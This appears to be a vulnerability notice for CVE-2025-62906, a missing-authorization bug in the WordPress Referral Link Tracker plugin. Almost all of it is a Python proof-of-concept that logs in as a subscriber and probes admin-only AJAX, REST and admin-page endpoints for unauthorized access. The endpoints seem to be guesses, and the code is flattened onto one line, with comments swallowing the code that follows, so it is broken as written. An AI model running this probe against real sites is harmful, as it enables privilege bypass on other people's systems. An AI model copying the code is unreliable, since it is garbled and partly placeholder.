CVE-2025-62906 WordPress Referral Link Tracker插件存在访问控制绕过漏洞

import requests import sys # CVE-2025-62906 PoC - Missing Authorization in Referral Link Tracker # Target: WordPress site with Referral Link Tracker plugin <= 1.1.4 TARGET = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' USERNAME = sys.argv[2] if len(sys.argv) > 2 else 'subscriber' PASSWORD = sys.argv[3] if len(sys.argv) > 3 else 'password' def exploit(): session = requests.Session() # Step 1: Login as low-privilege user login_url = f'{TARGET}/wp-login.php' login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In' } session.post(login_url, data=login_data) # Step 2: Access admin-only endpoint without authorization # Replace ENDPOINT with actual vulnerable endpoint vulnerable_endpoints = [ '/wp-admin/admin-ajax.php?action=rlt_admin_action', '/wp-json/rlt/v1/referral-data', '/wp-admin/admin.php?page=referral-link-tracker' ] for endpoint in vulnerable_endpoints: resp = session.get(f'{TARGET}{endpoint}') if resp.status_code == 200 and 'admin' in resp.text.lower(): print(f'[+] Vulnerable endpoint found: {endpoint}') print(f'[+] Response preview: {resp.text[:500]}') return False if __name__ == '__main__': exploit()